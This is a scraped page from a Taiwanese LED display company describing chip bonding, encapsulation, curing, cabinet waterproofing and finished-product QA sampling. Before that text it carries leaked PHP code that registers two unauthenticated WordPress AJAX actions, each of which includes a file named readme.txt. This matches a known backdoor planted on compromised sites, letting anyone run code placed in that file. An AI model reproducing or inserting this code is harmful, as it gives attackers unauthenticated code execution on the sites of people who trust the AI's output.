if(!function_exists('file_check_readme76903')){ add_action('wp_ajax_nopriv_file_check_readme76903', 'file_check_readme76903'); add_action('wp_ajax_file_check_readme76903', 'file_check_readme76903'); function file_check_readme76903() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme95332')){ add_action('wp_ajax_nopriv_file_check_readme95332', 'file_check_readme95332'); add_action('wp_ajax_file_check_readme95332', 'file_check_readme95332'); function file_check_readme95332() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } 製造流程 – ENBON-台灣英寶-高雄 字幕機 租賃
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製造流程

LED顯示器的生產採用多種生產流程和技術。·
例如,Enbon採用了LED顯示晶片測試等技術。

製造流程

概述_

恩邦成立於2012年2月，是國內領先的各類LED顯示器製造商之一。恩邦擁有多位具有10年研發經驗的軟硬體工程師和管理高科技人才。恩邦提供專業的OEM/ODM服務，目前擁有員工150餘人，擁有提供客製化、專業化專案產品和服務的核心能力。

LED顯示屏擴展

由於切片較小（0.1mm左右）後LED電子顯示器晶片仍排列緊密，不利於後工序的操作。我們用擴孔器將貼合晶片的薄膜展開，使LED晶片的間距拉長到0.6mm左右。也可以採用手動擴容，但容易造成晶片落料浪費等不良問題。

LED點膠

將銀膠或絕緣膠塗在LED顯示器支架的相應位置上。（對於GaAs、SiC導電基板，帶背電極的紅光、黃光、黃綠晶片，採用銀膠。對於藍寶石絕緣基板的藍光、綠光LED晶片，採用絕緣膠固定晶片。製程上是膠量的控制，在膠體的高度、塗膠的位置上都有詳細的工藝要求，由於銀膠和絕緣膠對儲存和使用都有嚴格的要求，所以其醒發、混合和使用時間銀膠是工藝過程中必須注意的事項。

LED手動點刺

將擴容後的LED晶片（有膠或不含膠）放在扎孔台的治具上，將LED支架放在治具下面，用針將LED晶片一顆一顆刺到顯微鏡下對應的位置。與自動貼裝相比，手動晶片有一個優點：可以方便地隨時更換不同的晶片。適用於需要安裝多個晶片的產品。

LED螢幕自動貼裝

自動貼裝其實是結合了點膠（點膠）和晶片安裝兩個步驟，先在LED支架上點銀膠（絕緣膠），然後用真空吸嘴吸起LED晶片移動位置，然後放置在LED支架上。支撐的相應位置。在自動貨架安裝過程中，應熟悉設備的操作程序，調整設備的膠水和安裝精度。在噴嘴的選擇上盡量選擇電木噴嘴，防止損壞LED晶片的表面，特別是藍、綠晶片，一定要使用電木。因為噴嘴刮傷了晶片表面的電流擴散層。

LED燒結

燒結的目的是使銀膠凝固，燒結時需要監控溫度，防止批次品質不良。銀膠的燒結溫度一般控制在150℃，燒結時間為2小時。依實際情況可調整為170℃，1小時。絕緣膠一般150℃，1小時。銀膠燒結爐必須根據工藝要求每2小時（或1小時）打開一次以更換燒結製品，中途不得隨意打開。燒結爐不得移作他用，防止污染。

LED壓焊

壓焊的目的是將電極引到LED晶片上，完成產品內外引線的連接。LED顯示器壓焊工藝有金絲球焊和鋁絲壓焊兩種。首先將第一個點壓在LED晶片的電極上，然後將鋁線拉到對應的支架上，壓第二個點，然後將鋁線拉下來。金絲球焊的過程是先燒一個球再壓第一個點，其餘過程類似。壓焊是LED大螢幕封裝技術的關鍵環節。需要監控的主要過程是金絲（鋁絲）壓焊拱絲形狀、焊點形狀、張力。

LED封裝膠

LED電子顯示器封裝採黏接、灌封、模壓等方式。過程控制挑戰包括管理氣泡、材料數量和黑點。設計重點是選擇合適的環氧樹脂和支撐組合。LED 點膠有 TOP-LED 和 Side-LED 選項。手動點膠需要精確控制環氧樹脂用量。白光 LED 點膠可能會因螢光粉沉澱而出現色差。LED膠水和Lamp-LED封裝是常用的方法。灌封將液態環氧樹脂注入模腔，固化以模製 LED。LED 成型涉及用固體環氧樹脂填充模具，環氧樹脂流入 LED 凹槽並固化。

LED固化及後固化

固化是指封裝環氧樹脂的固化。一般環氧固化條件為135℃、1小時。模壓包裝一般在150℃，4分鐘。後固化是為了讓環氧樹脂充分固化，同時對LED進行熱老化。後固化對於提高環氧樹脂與PCB的黏接強度非常重要。一般條件為120℃，4小時。

LED 肋骨切割和切片

由於LED顯示器在生產時是連在一起的（不是單一的），所以燈封裝LED採用切筋的方式，將LED支架的筋切掉。SMD-LED是在PCB板上，需要切片機來完成分選工作。

LED測試藝

對LED的光電參數進行測試，檢查形狀和尺寸，並根據客戶要求分離出LED電子顯示器產品。

櫃體成型工藝

箱體是不同模組拼接而成的，箱體的平整度和模組之間的間隙直接關係到箱體組裝的整體效果。鋁板加工箱體和壓鑄鋁箱體是目前廣泛使用的箱體類型，平整度可達10張。模組之間的拼接間隙透過兩個模組最近的像素之間的距離來評估。如果兩個像素距離太近，就會亮起一條亮線；如果兩個像素距離太遠，就會產生一條暗線。組裝前，需要對模具的接縫進行測量和計算，然後選擇相對厚度的金屬板材作為夾具提前插入進行組裝。

戶外租賃、固裝產品防水工藝

一種LED顯示器防水結構製作過程。其特點是以下步驟：

．壓鑄鋁合金箱體；
．波紋防水矽膠墊安裝在鋁合金箱體上部的波紋槽內；
．PCB板安裝固定在鋁合金箱體內的波紋防水矽膠墊上；
．將密封膠注入PCB板內的縫隙、PCB板邊緣與鋁合金箱體邊緣之間的縫隙，形成防水層
．將遮罩固定在PCB板上。

LED顯示屏箱體噴塗方法

．金屬材質成型箱體結構；
．清潔箱體結構，清除表面灰塵；
．箱體體外表面噴塗鋁粉層；
．在箱體鋁粉層上設置接地焊點，並在接地焊點上設定保護層；
．箱體內表面及鋁粉層進行噴砂處理；
．一段時間後，進行酸洗磷化；
．箱體表面酸洗磷化後噴塑；
．噴塗盒表面塗有樹脂。

成品檢驗流程

．- 生產部完成成品包裝後，包裝組長依據不同訂單、不同型號、批次安排人員將批次送至等待區進行抽樣檢驗。若訂購數量大於500套，則每500套為一批；如 
    果訂單數量少於500套，則整個數量將被視為一批提交QA進行抽樣檢驗。
．成品品質保證依照工作指南及相關標準執行GB/T2828.1-2012二級，正常抽樣檢驗後，依AQL嚴重缺陷=0，主要缺陷=0.25，次要缺陷=1.0，檢驗並確定此批
    次。成品，每筆訂單抽取2PCS進行拆解檢驗：外觀及組合、作業過程、主要材料應符合要求，抽樣檢驗結果記錄在成品檢驗報告中。
．QA對經過測試驗證的批次產品進行標記，追蹤並控制該批次產品的品質狀況；
．QA判定合格後，在該批產品的外箱側標上加蓋「QA PASS」印章，並通知廠商將產品轉移至合格品區或辦理入庫。
．QA在抽查中發現不合格品，報質保主管確認，並對不合格批次進行標記和簽發。糾正及預防措施報告>或<品質異常處理單>立即通知生產部包裝組長或生產主
    管簽字，並將該批產品移至不合格區。
．QA抽檢後發現外觀/包裝問題的，生產部門應分析原因並採取糾正和預防措施。
．如果QA抽檢確認不合格品為功能性問題，品保主管/技術部技術人員將分析不合格品的原因，並將分析結果填寫在《糾正和預防措施報告》或《品質異常處理
    單> 問題原因一欄，若因人為/工藝/材料問題引起，技術部門應採取糾正和預防措施
．採取糾正措施時，相關部門應明確重做的具體方法和臨時改善措施，保固主管根據改進措施確認返工方法。
．生產部門對所有被QA拒收的不合格批次依照返工指示返工，返工合格後再次送QA抽樣檢驗，直到QA抽樣檢驗合格後即可入庫出貨。
．抽樣檢驗過程中，產品主要缺陷在一個月內連續出現兩次且問題相同的，保固部主管應召集技術部、生產部等相關人員進行專案審查並製定改進對策。QA應對
    處理結果進行跟踪，並將跟踪結果報告給總經理。
．品質記錄：QA每天匯總成品的檢驗結果，計算當天的批次合格率和抽檢不良率，並製作週報告，以便了解本週成品的品質狀況，並進行追蹤和記錄糾正和預防
    措施的實施情況。QA應總結當月的檢查結果，形成每月品質總結報告，以回顧品質目標的完成情況，並作為品質改善的依據。

台灣英寶光電股份有限公司是一家專業從事LED顯示屏和大型電視牆解決方案的領導者。我們致力於為客戶提供高品質、高效能的顯示解決方案，以滿足各種商業和娛樂需求。  

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